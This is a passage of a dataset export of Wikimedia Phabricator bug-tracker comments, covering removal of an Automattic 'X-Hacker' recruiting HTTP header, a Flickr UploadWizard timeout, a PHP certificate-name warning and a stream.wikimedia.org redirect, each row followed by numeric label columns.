+Yup! It's T193912.",,,1569434847,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+1359660,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"> Ok. Is there an open task for it?
+
+Yup! It's T193912.",,,1569434828,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1
+1359659,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Yup! It's T193912.,,,1569434796,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+1359462,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Thanks for the reply, @Varnent:
+
+> The policy site is managed by the Legal team - although I could probably help them with a patch if I can dig up what we did for the Foundation site.
+
+Is there a technical contact on #wmf-legal for that site?  Otherwise, we probably want to be proactive here and create and deploy the patch for them.  Happy to help, though I obviously do not have access to the Automattic servers.
+
+> The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.
+
+Ok.  Is there an open task for it?",,,1569422430,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+1358882,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#5516652, @sbassett wrote:
+> @Varnent -
+> 
+> I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, **blog.wikimedia.org** has an amusing but possibly inappropriate `x-nananana: Batcache` header and **policy.wikimedia.org** has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.
+
+The policy site is managed by the Legal team - although I could probably help them with a patch if I can dig up what we did for the Foundation site. The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.",,,1569355689,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+1357890,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -
+
+I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, **blog.wikimedia.org** has an amusing but possibly inappropriate `x-nananana: Batcache` header and **policy.wikimedia.org** has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569257879,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+1357888,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -
+
+I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate `x-nananana: Batcache` header and policy.wikimedia.org has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569257855,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+1357835,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -
+
+I know this task is probably low-priority, but is there any update on blog.wikimedia.org and/or policy.wikimedia.org  Both still have the `x-hacker: If you're reading this...` header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate `x-nananana: Batcache` header and policy.wikimedia.org has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569255606,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+1146141,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),This has been resolved on wikimediafoundation.org. It will be resolved on blog.wikimedia.org when we archive the site in the coming months.,,,1537565526,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,168,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+1138090,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Naturally, this applies to policy.wikimedia.org as well.",,,1536450708,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,166,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+1133470,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#4549007, @Jgreen wrote:
+>>>! In T70982#4548927, @chasemp wrote:
+>> Is this gone now?  I can no longer reproduce atm.
+> 
+> I see it still on both blog and wikimediafoundation sites, but the header shows up lowercase in curl output:
+> 
+> jgreen@weasel:~> curl -vs https://wikimediafoundation.org  2>&1 |grep -i X-hacker
+> < x-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
+
+Ah yes, thanks @Jgreen ",,,1535736935,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+1133415,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#4548927, @chasemp wrote:
+> Is this gone now?  I can no longer reproduce atm.
+
+I see it still on both blog and wikimediafoundation sites, but the header shows up lowercase in curl output:
+
+jgreen@weasel:~> curl -vs https://wikimediafoundation.org  2>&1 |grep -i X-hacker
+< x-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.",,,1535731507,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+1133396,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Is this gone now?  I can no longer reproduce atm.,,,1535729356,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+1133320,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),@JBennett just pointed out that this also applies to wikimediafoundation.org,,,1535722673,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+735401,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Yes:
+```alex@alex-laptop:~$ curl -vs https://blog.wikimedia.org 2>&1 >/dev/null | fgrep X-hacker
+< X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.```",,,1475003135,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,64,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+735398,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),@Krenair @yuvipanda is this still an issue?,,,1475003007,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,64,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0
+394888,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Well, this is my personal opinion, but I would expect WMF to completely disallow such advertising on Wikimedia sites in the contract.",,,1420297289,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+394850,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Everyone's allowed to use any header :),,,1420274475,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+394559,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),I can't help but wonder if they're allowed to use that header at all...,,,1420072286,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+70981,Wizard refuses to upload images from flickr via http,"**Author:** `cometstyles`
+
+**Description:**
+When trying to upload an image from flickr to commons via [[Special UploadWizard/Flickr]] using http, when we add the image link to the ""Get from Flickr"", it goes to the next step but the image just keeps on loading (in a loop).... it doesn't go any further ..only affects http version, not the https one..
+
+The web console for the browser shows this:
+
+GET https://api.flickr.com/services/rest/            [HTTP/1.1 200 OK 3453ms]
+GET https://api.flickr.com/services/rest/                 [HTTP/1.1 200 OK 1282ms]
+GET http://commons.wikimedia.org/w/api.php               [HTTP/1.1 200 OK 2064ms]
+GET https://api.flickr.com/services/rest/                [HTTP/1.1 200 OK 547ms]
+GET http://commons.wikimedia.org/w/api.php            [HTTP/1.1 200 OK 985ms]
+POST http://commons.wikimedia.org/w/api.php              [HTTP/1.1 504 Gateway Time-out 10433ms]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows Vista
+**Platform**: PC",Medium,50.0,1406854860,1444297110.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_description,invalid,True,c3,1,False,False,False,-48,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+543315,Wizard refuses to upload images from flickr via http,"Using http urls works for me.
+To make this bug report reproducible, please indicate which image is not working.",,,1444297110,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+309175,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:
+
+Its still a problem, when on http (http://commons.wikimedia.org/wiki/Special:UploadWizard), it refuses to upload most images, it goes on a loop, nothing to do with vrowser cache, more to do with being unable to converts https API link to http ..
+web console data for ""POST"" (http://pastebin.com/HfbLGEXm)",,,1407503664,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,1,0
+309166,Wizard refuses to upload images from flickr via http,"It works for me https://commons.wikimedia.org/wiki/File:Kitten_with_laptop_-_278017185.jpg.
+
+Can you pls clear your browser cache and try again?",,,1406893273,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0
+309159,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:
+
+tried it with multiple others, seems to be be affecting one user who releases all his images under (cc-by-sa) and no he is not blacklisted, probably one of the only few to release their images fully on flickr.. 
+
+did the same test on test.wikipedia.org using http, same outcome
+
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1471ms]
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 905ms]
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 557ms]
+POST http://commons.wikimedia.org/w/api.php [HTTP/1.1 504 Gateway Time-out 11060ms]
+
+^
+Request URL: 	http://commons.wikimedia.org/w/api.php
+Request Method: 	POST
+Status Code: 	HTTP/1.1 504 Gateway Time-out",,,1406859596,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+309153,Wizard refuses to upload images from flickr via http,"And with the original user it fails all the time?
+Maybe the user is blacklisted and the error message about the blacklist is not returned for some reason? The blacklist is at https://commons.wikimedia.org/wiki/User:FlickreviewR/bad-authors",,,1406858660,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,True,,,-48,True,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+309151,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:
+
+it worked with a different flickr user
+
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 3597ms]
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1142ms]
+GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1175ms]
+POST http://commons.wikimedia.org/w/api.php [HTTP/1.1 200 OK 11281ms]
+GET http://commons.wikimedia.org/w/api.php [HTTP/1.1 200 OK 817ms]
+
+^^
+GET http://commons.wikimedia.org/wiki/Special:UploadStash/thumb/12h8xso51xgc.l7uzmb.1129056.jpg/100px-12h8xso51xgc.l7uzmb.1129056.jpg [HTTP/1.1 200 OK 2064ms]",,,1406857778,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+309149,Wizard refuses to upload images from flickr via http,"At a glance, this seems like an upload error which is not related to Flickr. Can you reproduce with the same file? Can you reproduce with a file from a different Flickr user?",,,1406855772,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+70581,Warning: file_get_contents(): Peer certificate CN=`*.wikipedia.org' did not match expected CN=`meta.wikimedia.org' in .../extensions/SpamBlacklist/BaseBlacklist.php on line 273,"Looks like a side effect of I3c3d397d5779aa0affcfa8455c2197ac562c5424
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73199",Medium,50.0,1406311200,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-5kuaqwar366utx6ten4q,task_description,open,True,c3,1,False,False,,-49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+315297,Warning: file_get_contents(): Peer certificate CN=`*.wikipedia.org' did not match expected CN=`meta.wikimedia.org' in .../extensions/SpamBlacklist/BaseBlacklist.php on line 273,"This is the same error I have in bug 73199. Differences are:
+* it is not the same code (SpamBlacklist vs MediaWiki core),
+* it is not the same PHP function (file_get_contents vs fopen),
+* in bug 73199, there is a context specified (not here).
+
+I guess file_get_contents has a default context where the option CN_match is fixed to the requested host (I tried to dive into source code of PHP to track the default argument, but I abandonned), and new x509 certificates (like the one of the Wikimedia projects) don’t really use the CN attribute but the subjectAltName attribute.
+
+If this diagnosis is correct, a fix would be to add a context parameter with CA_match ""unset"" (setting it to null?).",,,1415553250,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5kuaqwar366utx6ten4q,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+70528,stream.wikimedia.org - redirect http(s) to docs,"http://stream.wikimedia.org - currently 404
+https://stream.wikimedia.org - currently cert error
+
+for good measure redirect them to the docs at
+
+https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org
+
+because people do try to open this in a browser
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1406230680,1500424925.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-4i4rfgchjaq2sexzwylo,task_description,resolved,True,c3,1,True,False,False,-49,True,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+896787,stream.wikimedia.org - redirect http(s) to docs,<http://stream.wikimedia.org> and <https://stream.wikimedia.org> all redirect to <https://stream.wikimedia.org/?doc> now.,,,1500424925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,106,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+882603,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.
+
+The `/` entry-point over HTTP for GET should still redirect to documentation, e.g. to <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+882602,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.
+
+The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531889,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+882601,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement lives on the same domain.
+
